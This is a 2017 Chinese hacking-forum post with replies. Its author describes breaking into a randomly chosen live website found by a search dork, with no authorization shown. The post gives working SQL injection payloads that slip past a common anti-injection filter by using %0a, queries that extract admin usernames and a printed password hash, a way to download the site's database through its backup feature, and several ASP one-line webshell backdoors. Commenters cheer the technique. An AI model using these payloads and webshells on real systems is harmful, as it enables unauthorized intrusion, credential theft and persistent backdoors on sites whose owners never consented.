用户
搜索
  • TA的每日心情
    开心
    2017-9-27 10:37
  • 签到天数: 24 天

    连续签到: 1 天

    [LV.4]经常看看II

    版主

    关注信息安全

    Rank: 7Rank: 7Rank: 7

    255

    主题

    748

    帖子

    2859

    魔法币
    收听
    2
    粉丝
    21
    注册时间
    2016-2-1

    秦春秋游侠核心白帽i春秋签约作者

    中国Cold 版主 关注信息安全 秦 春秋游侠 核心白帽 i春秋签约作者 楼主
    发表于 2017-5-8 19:38:46 135422
    By antian365 残枫 simeon


    渗透过程就是各种安全技术的再现过程,本次渗透从SQL注入点的发现到绕过sql注入通用代码的防注入,可以说是打开了一扇门,通过sql注入获取管理员密码,获取数据库,如果在条件允许的情况下是完全可以获取webshell。在本文中还对access数据库获取webshell等关键技术进行了总结。

    1.1获取目标信息
       通过百度进行关键字“news.asp?id=”搜索,在搜索结果中随机选择一个记录,打开如图1所示,测试网站是否能够正常访问,同时在Firefox中使用F9功能键,打开hackbar

    图片1.png
    图1测试目标站点
    1.2测试是否存在SQL注入
    http://www.xxxxx.com/网站中随机打开一个新闻链接地址http://www.xxxxx.com/news.asp?id=1172在其地址后加入and 1 = 2和and 1 = 1判断是否有注入,如图2所示,单击Execute后,页面显示存在“SQL通用防注入系统”。

    图片2.png
    图2存在SQL通用防注入系统

    在网站地址后加入“-0”和“/”进行测试,打开“http://www.xxxxx.com/news.asp?id=1172/”浏览器显示结果如图3所示,打开“http://www.xxxxx.com/news.asp?id=1172-0”后结果如图4所示,明显存在SQL注入。

    图片3.png
    图3显示无内容

    图片4.png
    图4显示存在内容
    1.3绕过SQL防注入系统
    1.post提交无法绕过
    在Post data中输入and 1=1 和and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图5所示,结果无任何变化,说明直接post提交无法绕过。
    图片5.png
    图5 post提交无法绕过

    2.替换空格绕过

    换了POST方式后还是不行,朋友说使用%09(也就是tab键)可以绕过,经过测试还是不行,如图6所示,用%0a(换行符)替换下空格成功绕过,如图7所示。

    图片6.png
    图6无法绕过
    图片7.png
    图7成功绕过
    1.4获取数据库类型以及表和字段
    (1)判断数据库类型

    通过and (select count(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:
    [AppleScript] 纯文本查看 复制代码
    and%0a(select%0acount(*)%0afrom%0asysobjects)>0
    and%0a(select%0acount(*)%0afrom%0amsysobjects)>0

       其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。

    (2)通过order by判断列名
    [AppleScript] 纯文本查看 复制代码
    id=1172%0aorder%0aby%0a23 正常
    id=1172%0aorder%0aby%0a24 错误

    “Order by 23”正常,23代表查询的列名的数目有23个

    (3)判断是否存在admin表

    [AppleScript] 纯文本查看 复制代码
    and (select count(*) from admin)>0
    and%0a(select%0acount(*)%0afrom%0aadmin)>0

    (4)判断是否存在user以及pass字段

    [AppleScript] 纯文本查看 复制代码
    and (select count(username) from admin)>0
    and (select count(password) from admin)>0

    变换后的语句

    [AppleScript] 纯文本查看 复制代码
    and %0a (select%0acount(user) %0afrom%0aadmin)>0
    and%0a (select%0acount(pass) %0afrom%0aadmin)>0

    测试admin表中是否存在uid,id,uid报错,如图8所示,id正常,如图9所示。

    图片8.png
    图8uid不存在

    图片9.png
    图9id存在
    1.5获取管理员密码
    id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”,如图10所示,通过登录后台后发现该用户权限较低,因此还需要获取其它管理员用户的密码执行语句:
    id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id为1的用户密码,如图11所示。
    图片10.png
    图10获取amdin-dh用户密码

    图片11.png
    图11获取管理员zzchxj用户密码
    1.6.获取数据库
      (1)数据库备份相关信息获取
    如图12所示,在后台管理中存在数据库备份功能。在备份页面中有当前数据库路径、备份数据库目录、备份数据库名称等信息。
    图片12.png
    图12数据库备份
    (2)通过压缩功能获取真实数据库名称
    单击“压缩”,如图13所示,获取数据库的真实名称和路径等信息“../data-2016/@@@xxxxx###.asp”。
    图片13.png
    图13获取数据库真实路径和名称信息
    (3)备份并获取数据库
    将“../data-2016/@@@xxxxx###.asp”填入当前数据库路径,备份数据库名称“db1.mdb”,如图14所示,备份数据库成功,您备份的数据库路径为服务器空间的:d:\virtualhost\*********\www\ahs*****admin\Databackup\db1.mdb,数据库下载地址为:
    http://www.xxxxx.com/ahszhdzzcadmin/Databackup/db1.mdb
    图片14.png
    图14备份数据库
    1.8access数据库获取webshell方法

    (1)查询导出方法
    [AppleScript] 纯文本查看 复制代码
    create table cmd (a varchar(50))
    insert into cmd (a) values ('<%execute request(chr(35))%>')
    select * into [a] in 'c:\wwwroot \1.asa;x.xls' 'excel 4.0;' from cmd
    drop table cmd
    (2)数据库备份
    在留言等可以写入数据内容的地方插入“┼攠數畣整爠煥敵瑳∨≡┩愾”,通过数据库备份来获取其一句后门密码为a。
    (3)数据库图片备份获取
    将插入一句话后门的图片木马上传到网站,获取其图片的具体地址,然后通过备份,将备份文件设置为图片文件的具体位置,备份文件例如指定为/databacp/1.asp来获取webshell。

    1.9参考文章
    (1)http://www.freebuf.com/articles/web/36683.html,绕过WAF继续SQL注入常用方法
    (2)http://www.cnblogs.com/joy-nick/p/5774462.html,SQL Injection绕过技巧
    (3)http://www.antian365.com/forum.p ... tid=1084&extra=,整理比较全的Access SQL注入参考

    本帖被以下淘专辑推荐:

    我是坏蛋的小号
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    来自 14#
    发表于 2017-5-19 14:10:11

    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    50
    不错,可惜较为常见。

    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
    i春秋-楚:533191896
    i春秋-燕:129821314
    i春秋-齐:417360103
    i春秋-秦:262108018
    使用道具 举报 回复
    发表于 2017-5-8 20:46:46
    666,好久没见过%0a绕过的实例了!
    使用道具 举报 回复
    这个网站又要被爆了吗
    使用道具 举报 回复
    发表于 2017-5-9 00:29:49
    '%'分隔也可以过
    使用道具 举报 回复
    发表于 2017-5-9 07:34:01
    666666紫儿详细
    使用道具 举报 回复
    发表于 2017-5-9 09:32:21
    打码打的还是不够好哦。
    使用道具 举报 回复
    发表于 2017-5-9 10:43:49
    楼主写的很细,分析的也很清楚。学习了。
    使用道具 举报 回复
    发表于 2017-5-9 10:57:51
    站太老、、
    使用道具 举报 回复
    发表于 2017-5-10 11:39:05
    感谢楼主的打码
    使用道具 举报 回复
    发表于 2017-5-10 11:44:13
    %0a mark一下
    使用道具 举报 回复
    发表于 2017-5-10 17:58:12
    Mark
    使用道具 举报 回复
    发表于 2017-5-12 10:46:15
    里面有个直达目标的超链接~你敢信?
    举世皆醒我独醉,世情淡泊我如胶
    使用道具 举报 回复
    发表于 2017-5-17 11:09:55
    醉了,你们是不是都去试了一遍,我刚就手工一个',然后弹框告诉我已记录ip要上报公安。。。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册